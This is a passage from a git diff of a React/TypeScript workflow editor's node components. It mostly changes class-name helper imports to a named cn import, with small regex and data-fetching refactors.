 import { RETRIEVAL_OUTPUT_STRUCT } from '@/app/components/workflow/constants'
diff --git a/web/app/components/workflow/nodes/_base/components/before-run-form/index.tsx b/web/app/components/workflow/nodes/_base/components/before-run-form/index.tsx
index 44abbb67b5..abde5bb7e8 100644
--- a/web/app/components/workflow/nodes/_base/components/before-run-form/index.tsx
+++ b/web/app/components/workflow/nodes/_base/components/before-run-form/index.tsx
@@ -4,7 +4,7 @@ import React, { useEffect, useRef } from 'react'
 import { useTranslation } from 'react-i18next'
 import type { Props as FormProps } from './form'
 import Form from './form'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import Split from '@/app/components/workflow/nodes/_base/components/split'
 import { InputVarType } from '@/app/components/workflow/types'
diff --git a/web/app/components/workflow/nodes/_base/components/code-generator-button.tsx b/web/app/components/workflow/nodes/_base/components/code-generator-button.tsx
index 21b1cf0595..58dec6baba 100644
--- a/web/app/components/workflow/nodes/_base/components/code-generator-button.tsx
+++ b/web/app/components/workflow/nodes/_base/components/code-generator-button.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React, { useCallback } from 'react'
 import { useBoolean } from 'ahooks'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import type { CodeLanguage } from '../../code/types'
 import { Generator } from '@/app/components/base/icons/src/vender/other'
 import { ActionButton } from '@/app/components/base/action-button'
diff --git a/web/app/components/workflow/nodes/_base/components/collapse/index.tsx b/web/app/components/workflow/nodes/_base/components/collapse/index.tsx
index 16fba88a25..f7cf95ce7e 100644
--- a/web/app/components/workflow/nodes/_base/components/collapse/index.tsx
+++ b/web/app/components/workflow/nodes/_base/components/collapse/index.tsx
@@ -1,7 +1,7 @@
 import type { ReactNode } from 'react'
 import { useMemo, useState } from 'react'
 import { ArrowDownRoundFill } from '@/app/components/base/icons/src/vender/solid/general'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export { default as FieldCollapse } from './field-collapse'
 
diff --git a/web/app/components/workflow/nodes/_base/components/editor/base.tsx b/web/app/components/workflow/nodes/_base/components/editor/base.tsx
index 2f9ca7dfd9..0b88f8c67d 100644
--- a/web/app/components/workflow/nodes/_base/components/editor/base.tsx
+++ b/web/app/components/workflow/nodes/_base/components/editor/base.tsx
@@ -6,7 +6,7 @@ import ToggleExpandBtn from '../toggle-expand-btn'
 import CodeGeneratorButton from '../code-generator-button'
 import type { CodeLanguage } from '../../../code/types'
 import Wrap from './wrap'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import PromptEditorHeightResizeWrap from '@/app/components/app/configuration/config-prompt/prompt-editor-height-resize-wrap'
 import {
   Copy,
diff --git a/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx b/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx
index abc7d8dbc4..0c6ad12540 100644
--- a/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx
+++ b/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx
@@ -5,7 +5,7 @@ import { useBoolean } from 'ahooks'
 import { useTranslation } from 'react-i18next'
 import type { Props as EditorProps } from '.'
 import Editor from '.'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import VarReferenceVars from '@/app/components/workflow/nodes/_base/components/variable/var-reference-vars'
 import type { NodeOutPutVar, Variable } from '@/app/components/workflow/types'
 
@@ -84,7 +84,8 @@ const CodeEditor: FC<Props> = ({
 
   const getUniqVarName = (varName: string) => {
     if (varList.find(v => v.variable === varName)) {
-      const match = varName.match(/_(\d+)$/)
+      const varNameRegex = /_(\d+)$/
+      const match = varNameRegex.exec(varName)
 
       const index = (() => {
         if (match)
diff --git a/web/app/components/workflow/nodes/_base/components/editor/code-editor/index.tsx b/web/app/components/workflow/nodes/_base/components/editor/code-editor/index.tsx
index 558dec7734..7ddea94036 100644
--- a/web/app/components/workflow/nodes/_base/components/editor/code-editor/index.tsx
+++ b/web/app/components/workflow/nodes/_base/components/editor/code-editor/index.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import Editor, { loader } from '@monaco-editor/react'
 import React, { useEffect, useMemo, useRef, useState } from 'react'
 import Base from '../base'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { CodeLanguage } from '@/app/components/workflow/nodes/code/types'
 import {
   getFilesInLogs,
diff --git a/web/app/components/workflow/nodes/_base/components/error-handle/error-handle-on-node.tsx b/web/app/components/workflow/nodes/_base/components/error-handle/error-handle-on-node.tsx
index b9a1745a21..a786f5adf4 100644
--- a/web/app/components/workflow/nodes/_base/components/error-handle/error-handle-on-node.tsx
+++ b/web/app/components/workflow/nodes/_base/components/error-handle/error-handle-on-node.tsx
@@ -5,7 +5,7 @@ import { NodeSourceHandle } from '../node-handle'
 import { ErrorHandleTypeEnum } from './types'
 import type { Node } from '@/app/components/workflow/types'
 import { NodeRunningStatus } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ErrorHandleOnNodeProps = Pick<Node, 'id' | 'data'>
 const ErrorHandleOnNode = ({
diff --git a/web/app/components/workflow/nodes/_base/components/field.tsx b/web/app/components/workflow/nodes/_base/components/field.tsx
index aadcea1065..b77fa511cb 100644
--- a/web/app/components/workflow/nodes/_base/components/field.tsx
+++ b/web/app/components/workflow/nodes/_base/components/field.tsx
@@ -5,7 +5,7 @@ import {
   RiArrowDownSLine,
 } from '@remixicon/react'
 import { useBoolean } from 'ahooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 
 type Props = {
diff --git a/web/app/components/workflow/nodes/_base/components/file-type-item.tsx b/web/app/components/workflow/nodes/_base/components/file-type-item.tsx
index b6004fd3b7..fd07465225 100644
--- a/web/app/components/workflow/nodes/_base/components/file-type-item.tsx
+++ b/web/app/components/workflow/nodes/_base/components/file-type-item.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React, { useCallback } from 'react'
 import { useTranslation } from 'react-i18next'
 import { SupportUploadFileTypes } from '../../../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { FILE_EXTS } from '@/app/components/base/prompt-editor/constants'
 import TagInput from '@/app/components/base/tag-input'
 import Checkbox from '@/app/components/base/checkbox'
diff --git a/web/app/components/workflow/nodes/_base/components/file-upload-setting.tsx b/web/app/components/workflow/nodes/_base/components/file-upload-setting.tsx
index 0dccf23e9e..ce41777471 100644
--- a/web/app/components/workflow/nodes/_base/components/file-upload-setting.tsx
+++ b/web/app/components/workflow/nodes/_base/components/file-upload-setting.tsx
@@ -1,7 +1,6 @@
 'use client'
 import type { FC } from 'react'
 import React, { useCallback } from 'react'
-import useSWR from 'swr'
 import { produce } from 'immer'
 import { useTranslation } from 'react-i18next'
 import type { UploadFileSetting } from '../../../types'
@@ -11,9 +10,9 @@ import FileTypeItem from './file-type-item'
 import InputNumberWithSlider from './input-number-with-slider'
 import Field from '@/app/components/app/configuration/config-var/config-modal/field'
 import { TransferMethod } from '@/types/app'
-import { fetchFileUploadConfig } from '@/service/common'
 import { useFileSizeLimit } from '@/app/components/base/file-uploader/hooks'
 import { formatFileSize } from '@/utils/format'
+import { useFileUploadConfig } from '@/service/use-common'
 
 type Props = {
   payload: UploadFileSetting
@@ -38,7 +37,7 @@ const FileUploadSetting: FC<Props> = ({
     allowed_file_types,
     allowed_file_extensions,
   } = payload
-  const { data: fileUploadConfigResponse } = useSWR({ url: '/files/upload' }, fetchFileUploadConfig)
+  const { data: fileUploadConfigResponse } = useFileUploadConfig()
   const {
     imgSizeLimit,
     docSizeLimit,
diff --git a/web/app/components/workflow/nodes/_base/components/form-input-boolean.tsx b/web/app/components/workflow/nodes/_base/components/form-input-boolean.tsx
index 07c3a087b9..2767d3b2fb 100644
--- a/web/app/components/workflow/nodes/_base/components/form-input-boolean.tsx
+++ b/web/app/components/workflow/nodes/_base/components/form-input-boolean.tsx
@@ -1,6 +1,6 @@
 'use client'
 import type { FC } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   value: boolean
diff --git a/web/app/components/workflow/nodes/_base/components/form-input-item.tsx b/web/app/components/workflow/nodes/_base/components/form-input-item.tsx
index 14a0f19317..7cf0043520 100644
--- a/web/app/components/workflow/nodes/_base/components/form-input-item.tsx
+++ b/web/app/components/workflow/nodes/_base/components/form-input-item.tsx
@@ -22,7 +22,7 @@ import ModelParameterModal from '@/app/components/plugins/plugin-detail-panel/mo
 import VarReferencePicker from '@/app/components/workflow/nodes/_base/components/variable/var-reference-picker'
 import CodeEditor from '@/app/components/workflow/nodes/_base/components/editor/code-editor'
 import { CodeLanguage } from '@/app/components/workflow/nodes/code/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Listbox, ListboxButton, ListboxOption, ListboxOptions } from '@headlessui/react'
 import { ChevronDownIcon } from '@heroicons/react/20/solid'
 import { RiCheckLine, RiLoader4Line } from '@remixicon/react'
diff --git a/web/app/components/workflow/nodes/_base/components/form-input-type-switch.tsx b/web/app/components/workflow/nodes/_base/components/form-input-type-switch.tsx
index 391e204844..c7af679e23 100644
--- a/web/app/components/workflow/nodes/_base/components/form-input-type-switch.tsx
+++ b/web/app/components/workflow/nodes/_base/components/form-input-type-switch.tsx
@@ -7,7 +7,7 @@ import {
 import { Variable02 } from '@/app/components/base/icons/src/vender/solid/development'
 import Tooltip from '@/app/components/base/tooltip'
 import { VarType } from '@/app/components/workflow/nodes/tool/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   value: VarType
diff --git a/web/app/components/workflow/nodes/_base/components/group.tsx b/web/app/components/workflow/nodes/_base/components/group.tsx
index 53d18c8835..80157aca13 100644
--- a/web/app/components/workflow/nodes/_base/components/group.tsx
+++ b/web/app/components/workflow/nodes/_base/components/group.tsx
@@ -1,11 +1,11 @@
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { ComponentProps, FC, PropsWithChildren, ReactNode } from 'react'
 
 export type GroupLabelProps = ComponentProps<'div'>
 
 export const GroupLabel: FC<GroupLabelProps> = (props) => {
   const { children, className, ...rest } = props
-  return <div {...rest} className={classNames('system-2xs-medium-uppercase mb-1 text-text-tertiary', className)}>
+  return <div {...rest} className={cn('system-2xs-medium-uppercase mb-1 text-text-tertiary', className)}>
     {children}
   </div>
 }
@@ -16,7 +16,7 @@ export type GroupProps = PropsWithChildren<{
 
 export const Group: FC<GroupProps> = (props) => {
   const { children, label } = props
-  return <div className={classNames('py-1')}>
+  return <div className={cn('py-1')}>
     {label}
     <div className='space-y-0.5'>
       {children}
diff --git a/web/app/components/workflow/nodes/_base/components/input-support-select-var.tsx b/web/app/components/workflow/nodes/_base/components/input-support-select-var.tsx
index 2a8ce9c370..8ffe301d67 100644
--- a/web/app/components/workflow/nodes/_base/components/input-support-select-var.tsx
+++ b/web/app/components/workflow/nodes/_base/components/input-support-select-var.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React, { useEffect } from 'react'
 import { useBoolean } from 'ahooks'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type {
   Node,
   NodeOutPutVar,
diff --git a/web/app/components/workflow/nodes/_base/components/install-plugin-button.tsx b/web/app/components/workflow/nodes/_base/components/install-plugin-button.tsx
index b0d878d53d..385b69ee43 100644
--- a/web/app/components/workflow/nodes/_base/components/install-plugin-button.tsx
+++ b/web/app/components/workflow/nodes/_base/components/install-plugin-button.tsx
@@ -2,7 +2,7 @@ import Button from '@/app/components/base/button'
 import { RiInstallLine, RiLoader2Line } from '@remixicon/react'
 import type { ComponentProps, MouseEventHandler } from 'react'
 import { useState } from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 import checkTaskStatus from '@/app/components/plugins/install-plugin/base/check-task-status'
 import { TaskStatus } from '@/app/components/plugins/types'
@@ -96,7 +96,7 @@ export const InstallPluginButton = (props: InstallPluginButtonProps) => {
     disabled={isLoading}
     {...rest}
     onClick={handleInstall}
-    className={classNames('flex items-center', className)}
+    className={cn('flex items-center', className)}
   >
     {!isLoading ? t('workflow.nodes.agent.pluginInstaller.install') : t('workflow.nodes.agent.pluginInstaller.installing')}
     {!isLoading ? <RiInstallLine className='ml-1 size-3.5' /> : <RiLoader2Line className='ml-1 size-3.5 animate-spin' />}
diff --git a/web/app/components/workflow/nodes/_base/components/layout/box.tsx b/web/app/components/workflow/nodes/_base/components/layout/box.tsx
index 35c2824cc8..ec4869d305 100644
--- a/web/app/components/workflow/nodes/_base/components/layout/box.tsx
+++ b/web/app/components/workflow/nodes/_base/components/layout/box.tsx
@@ -1,6 +1,6 @@
 import type { ReactNode } from 'react'
 import { memo } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type BoxProps = {
   className?: string
diff --git a/web/app/components/workflow/nodes/_base/components/layout/field-title.tsx b/web/app/components/workflow/nodes/_base/components/layout/field-title.tsx
index 8ab2d8de27..1a19ac2ab4 100644
--- a/web/app/components/workflow/nodes/_base/components/layout/field-title.tsx
+++ b/web/app/components/workflow/nodes/_base/components/layout/field-title.tsx
@@ -5,7 +5,7 @@ import {
 } from 'react'
 import { ArrowDownRoundFill } from '@/app/components/base/icons/src/vender/solid/general'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type FieldTitleProps = {
   title?: string
diff --git a/web/app/components/workflow/nodes/_base/components/layout/group.tsx b/web/app/components/workflow/nodes/_base/components/layout/group.tsx
index 1443087031..446588eb45 100644
--- a/web/app/components/workflow/nodes/_base/components/layout/group.tsx
+++ b/web/app/components/workflow/nodes/_base/components/layout/group.tsx
@@ -1,6 +1,6 @@
 import type { ReactNode } from 'react'
 import { memo } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type GroupProps = {
   className?: string
diff --git a/web/app/components/workflow/nodes/_base/components/memory-config.tsx b/web/app/components/workflow/nodes/_base/components/memory-config.tsx
index 0e274a2420..989f3f635d 100644
--- a/web/app/components/workflow/nodes/_base/components/memory-config.tsx
+++ b/web/app/components/workflow/nodes/_base/components/memory-config.tsx
@@ -5,7 +5,7 @@ import { useTranslation } from 'react-i18next'
 import { produce } from 'immer'
 import type { Memory } from '../../../types'
 import { MemoryRole } from '../../../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Field from '@/app/components/workflow/nodes/_base/components/field'
 import Switch from '@/app/components/base/switch'
 import Slider from '@/app/components/base/slider'
diff --git a/web/app/components/workflow/nodes/_base/components/mixed-variable-text-input/index.tsx b/web/app/components/workflow/nodes/_base/components/mixed-variable-text-input/index.tsx
index 6680c8ebb6..5fc6bd0528 100644
--- a/web/app/components/workflow/nodes/_base/components/mixed-variable-text-input/index.tsx
+++ b/web/app/components/workflow/nodes/_base/components/mixed-variable-text-input/index.tsx
@@ -9,7 +9,7 @@ import type {
   NodeOutPutVar,
 } from '@/app/components/workflow/types'
 import { BlockEnum } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type MixedVariableTextInputProps = {
   readOnly?: boolean
diff --git a/web/app/components/workflow/nodes/_base/components/next-step/container.tsx b/web/app/components/workflow/nodes/_base/components/next-step/container.tsx
index a419710080..5971ec8598 100644
--- a/web/app/components/workflow/nodes/_base/components/next-step/container.tsx
+++ b/web/app/components/workflow/nodes/_base/components/next-step/container.tsx
@@ -4,7 +4,7 @@ import type {
   CommonNodeType,
   Node,
 } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ContainerProps = {
   nodeId: string
diff --git a/web/app/components/workflow/nodes/_base/components/next-step/item.tsx b/web/app/components/workflow/nodes/_base/components/next-step/item.tsx
index 85a4b28d4d..d9998fd226 100644
--- a/web/app/components/workflow/nodes/_base/components/next-step/item.tsx
+++ b/web/app/components/workflow/nodes/_base/components/next-step/item.tsx
@@ -15,7 +15,7 @@ import {
   useToolIcon,
 } from '@/app/components/workflow/hooks'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ItemProps = {
   nodeId: string
diff --git a/web/app/components/workflow/nodes/_base/components/node-handle.tsx b/web/app/components/workflow/nodes/_base/components/node-handle.tsx
index 6cfa7a7b9e..5b46e79616 100644
--- a/web/app/components/workflow/nodes/_base/components/node-handle.tsx
+++ b/web/app/components/workflow/nodes/_base/components/node-handle.tsx
@@ -27,7 +27,7 @@ import {
   useStore,
   useWorkflowStore,
 } from '../../../store'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type NodeHandleProps = {
   handleId: string
diff --git a/web/app/components/workflow/nodes/_base/components/node-resizer.tsx b/web/app/components/workflow/nodes/_base/components/node-resizer.tsx
index 7f8341469e..479e1ad56e 100644
--- a/web/app/components/workflow/nodes/_base/components/node-resizer.tsx
+++ b/web/app/components/workflow/nodes/_base/components/node-resizer.tsx
@@ -6,7 +6,7 @@ import type { OnResize } from 'reactflow'
 import { NodeResizeControl } from 'reactflow'
 import { useNodesInteractions } from '../../../hooks'
 import type { CommonNodeType } from '../../../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const Icon = () => {
   return (
diff --git a/web/app/components/workflow/nodes/_base/components/node-status-icon.tsx b/web/app/components/workflow/nodes/_base/components/node-status-icon.tsx
index 3ab65b800d..26fc3352b7 100644
--- a/web/app/components/workflow/nodes/_base/components/node-status-icon.tsx
+++ b/web/app/components/workflow/nodes/_base/components/node-status-icon.tsx
@@ -4,7 +4,7 @@ import {
   RiErrorWarningLine,
   RiLoader2Line,
 } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type NodeStatusIconProps = {
   status: string
diff --git a/web/app/components/workflow/nodes/_base/components/option-card.tsx b/web/app/components/workflow/nodes/_base/components/option-card.tsx
index 79c8987aad..ebbdc92b2d 100644
--- a/web/app/components/workflow/nodes/_base/components/option-card.tsx
+++ b/web/app/components/workflow/nodes/_base/components/option-card.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React, { useCallback } from 'react'
 import type { VariantProps } from 'class-variance-authority'
 import { cva } from 'class-variance-authority'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 
 const variants = cva([], {
diff --git a/web/app/components/workflow/nodes/_base/components/output-vars.tsx b/web/app/components/workflow/nodes/_base/components/output-vars.tsx
index ca075f22e2..b1599ce541 100644
--- a/web/app/components/workflow/nodes/_base/components/output-vars.tsx
+++ b/web/app/components/workflow/nodes/_base/components/output-vars.tsx
@@ -4,7 +4,7 @@ import React from 'react'
 import { useTranslation } from 'react-i18next'
 import { FieldCollapse } from '@/app/components/workflow/nodes/_base/components/collapse'
 import TreeIndentLine from './variable/object-child-tree-panel/tree-indent-line'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   className?: string
diff --git a/web/app/components/workflow/nodes/_base/components/prompt/editor.tsx b/web/app/components/workflow/nodes/_base/components/prompt/editor.tsx
index 181b38b75c..ff0e7c90b2 100644
--- a/web/app/components/workflow/nodes/_base/components/prompt/editor.tsx
+++ b/web/app/components/workflow/nodes/_base/components/prompt/editor.tsx
@@ -18,7 +18,7 @@ import type {
 import Wrap from '../editor/wrap'
 import { CodeLanguage } from '../../../code/types'
 import PromptGeneratorBtn from '../../../llm/components/prompt-generator-btn'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ToggleExpandBtn from '@/app/components/workflow/nodes/_base/components/toggle-expand-btn'
 import useToggleExpend from '@/app/components/workflow/nodes/_base/hooks/use-toggle-expend'
 import PromptEditor from '@/app/components/base/prompt-editor'
diff --git a/web/app/components/workflow/nodes/_base/components/readonly-input-with-select-var.tsx b/web/app/components/workflow/nodes/_base/components/readonly-input-with-select-var.tsx
index c1927011dc..062ce278e2 100644
--- a/web/app/components/workflow/nodes/_base/components/readonly-input-with-select-var.tsx
+++ b/web/app/components/workflow/nodes/_base/components/readonly-input-with-select-var.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import { useWorkflow } from '../../../hooks'
 import { BlockEnum } from '../../../types'
 import { getNodeInfoById, isSystemVar } from './variable/utils'
diff --git a/web/app/components/workflow/nodes/_base/components/retry/retry-on-node.tsx b/web/app/components/workflow/nodes/_base/components/retry/retry-on-node.tsx
index e25e116e78..a7594a9567 100644
--- a/web/app/components/workflow/nodes/_base/components/retry/retry-on-node.tsx
+++ b/web/app/components/workflow/nodes/_base/components/retry/retry-on-node.tsx
@@ -7,7 +7,7 @@ import {
 } from '@remixicon/react'
 import type { Node } from '@/app/components/workflow/types'
 import { NodeRunningStatus } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type RetryOnNodeProps = Pick<Node, 'id' | 'data'>
 const RetryOnNode = ({
diff --git a/web/app/components/workflow/nodes/_base/components/selector.tsx b/web/app/components/workflow/nodes/_base/components/selector.tsx
index b14741f670..7b02303b29 100644
--- a/web/app/components/workflow/nodes/_base/components/selector.tsx
+++ b/web/app/components/workflow/nodes/_base/components/selector.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import { useBoolean, useClickAway } from 'ahooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ChevronSelectorVertical } from '@/app/components/base/icons/src/vender/line/arrows'
 import { Check } from '@/app/components/base/icons/src/vender/line/general'
 type Item = {
diff --git a/web/app/components/workflow/nodes/_base/components/setting-item.tsx b/web/app/components/workflow/nodes/_base/components/setting-item.tsx
index abbfaef490..5dbb962624 100644
--- a/web/app/components/workflow/nodes/_base/components/setting-item.tsx
+++ b/web/app/components/workflow/nodes/_base/components/setting-item.tsx
@@ -1,6 +1,6 @@
 import Tooltip from '@/app/components/base/tooltip'
 import Indicator from '@/app/components/header/indicator'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { type ComponentProps, type PropsWithChildren, type ReactNode, memo } from 'react'
 
 export type SettingItemProps = PropsWithChildren<{
@@ -13,7 +13,7 @@ export const SettingItem = memo(({ label, children, status, tooltip }: SettingIt
   const indicator: ComponentProps<typeof Indicator>['color'] = status === 'error' ? 'red' : status === 'warning' ? 'yellow' : undefined
   const needTooltip = ['error', 'warning'].includes(status as any)
   return <div className='relative flex items-center justify-between space-x-1 rounded-md bg-workflow-block-parma-bg px-1.5 py-1 text-xs font-normal'>
-    <div className={classNames('system-xs-medium-uppercase max-w-full shrink-0 truncate text-text-tertiary', !!children && 'max-w-[100px]')}>
+    <div className={cn('system-xs-medium-uppercase max-w-full shrink-0 truncate text-text-tertiary', !!children && 'max-w-[100px]')}>
       {label}
     </div>
     <Tooltip popupContent={tooltip} disabled={!needTooltip}>
diff --git a/web/app/components/workflow/nodes/_base/components/split.tsx b/web/app/components/workflow/nodes/_base/components/split.tsx
index 28cd05f6da..fa5ea3adc1 100644
--- a/web/app/components/workflow/nodes/_base/components/split.tsx
+++ b/web/app/components/workflow/nodes/_base/components/split.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   className?: string
diff --git a/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx b/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx
index 3be1262e14..816bac812f 100644
--- a/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx
+++ b/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import VarHighlight from '@/app/components/app/configuration/base/var-highlight'
 type Props = {
   isFocus?: boolean
@@ -25,7 +25,8 @@ const SupportVarInput: FC<Props> = ({
   const renderSafeContent = (inputValue: string) => {
     const parts = inputValue.split(/(\{\{[^}]+\}\}|\n)/g)
     return parts.map((part, index) => {
-      const variableMatch = part.match(/^\{\{([^}]+)\}\}$/)
+      const variableRegex = /^\{\{([^}]+)\}\}$/
+      const variableMatch = variableRegex.exec(part)
       if (variableMatch) {
         return (
           <VarHighlight
diff --git a/web/app/components/workflow/nodes/_base/components/switch-plugin-version.tsx b/web/app/components/workflow/nodes/_base/components/switch-plugin-version.tsx
index 7ecbbd5602..c9d698337d 100644
--- a/web/app/components/workflow/nodes/_base/components/switch-plugin-version.tsx
+++ b/web/app/components/workflow/nodes/_base/components/switch-plugin-version.tsx
@@ -8,7 +8,7 @@ import type { ReactNode } from 'react'
 import { type FC, useCallback, useState } from 'react'
 import { useBoolean } from 'ahooks'
 import { useCheckInstalled, useUpdatePackageFromMarketPlace } from '@/service/use-plugins'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import PluginMutationModel from '@/app/components/plugins/plugin-mutation-model'
 import useGetIcon from '@/app/components/plugins/install-plugin/base/use-get-icon'
 import { pluginManifestToCardPluginProps } from '@/app/components/plugins/install-plugin/utils'
diff --git a/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/picker/field.tsx b/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/picker/field.tsx
index ecc67885d1..ca8317e8d7 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/picker/field.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/picker/field.tsx
@@ -4,7 +4,7 @@ import React from 'react'
 import { Type } from '../../../../../llm/types'
 import { getFieldType } from '../../../../../llm/utils'
 import type { Field as FieldType } from '../../../../../llm/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import TreeIndentLine from '../tree-indent-line'
 import { RiMoreFill } from '@remixicon/react'
 import Tooltip from '@/app/components/base/tooltip'
diff --git a/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/picker/index.tsx b/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/picker/index.tsx
index af86cc78cd..219d46df9c 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/picker/index.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/picker/index.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React, { useRef } from 'react'
 import type { StructuredOutput } from '../../../../../llm/types'
 import Field from './field'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useHover } from 'ahooks'
 import type { ValueSelector } from '@/app/components/workflow/types'
 
diff --git a/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/show/field.tsx b/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/show/field.tsx
index 62133f3212..e101d91021 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/show/field.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/show/field.tsx
@@ -1,5 +1,5 @@
 'use client'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiArrowDropDownLine } from '@remixicon/react'
 import { useBoolean } from 'ahooks'
 import type { FC } from 'react'
diff --git a/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/tree-indent-line.tsx b/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/tree-indent-line.tsx
index 475c119647..bbec1d7a00 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/tree-indent-line.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/tree-indent-line.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   depth?: number,
diff --git a/web/app/components/workflow/nodes/_base/components/variable/var-list.tsx b/web/app/components/workflow/nodes/_base/components/variable/var-list.tsx
index e2d86c009c..d37851f187 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/var-list.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/var-list.tsx
@@ -14,7 +14,7 @@ import Toast from '@/app/components/base/toast'
 import { ReactSortable } from 'react-sortablejs'
 import { v4 as uuid4 } from 'uuid'
 import { RiDraggable } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useDebounceFn } from 'ahooks'
 
 type Props = {
diff --git a/web/app/components/workflow/nodes/_base/components/variable/var-reference-picker.tsx b/web/app/components/workflow/nodes/_base/components/variable/var-reference-picker.tsx
index 82c2dfd470..f532754aed 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/var-reference-picker.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/var-reference-picker.tsx
@@ -20,7 +20,7 @@ import useAvailableVarList from '../../hooks/use-available-var-list'
 import VarReferencePopup from './var-reference-popup'
 import { getNodeInfoById, isConversationVar, isENV, isGlobalVar, isRagVariableVar, isSystemVar, removeFileVars, varTypeToStructType } from './utils'
 import ConstantField from './constant-field'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CommonNodeType, Node, NodeOutPutVar, ToolWithProvider, ValueSelector, Var } from '@/app/components/workflow/types'
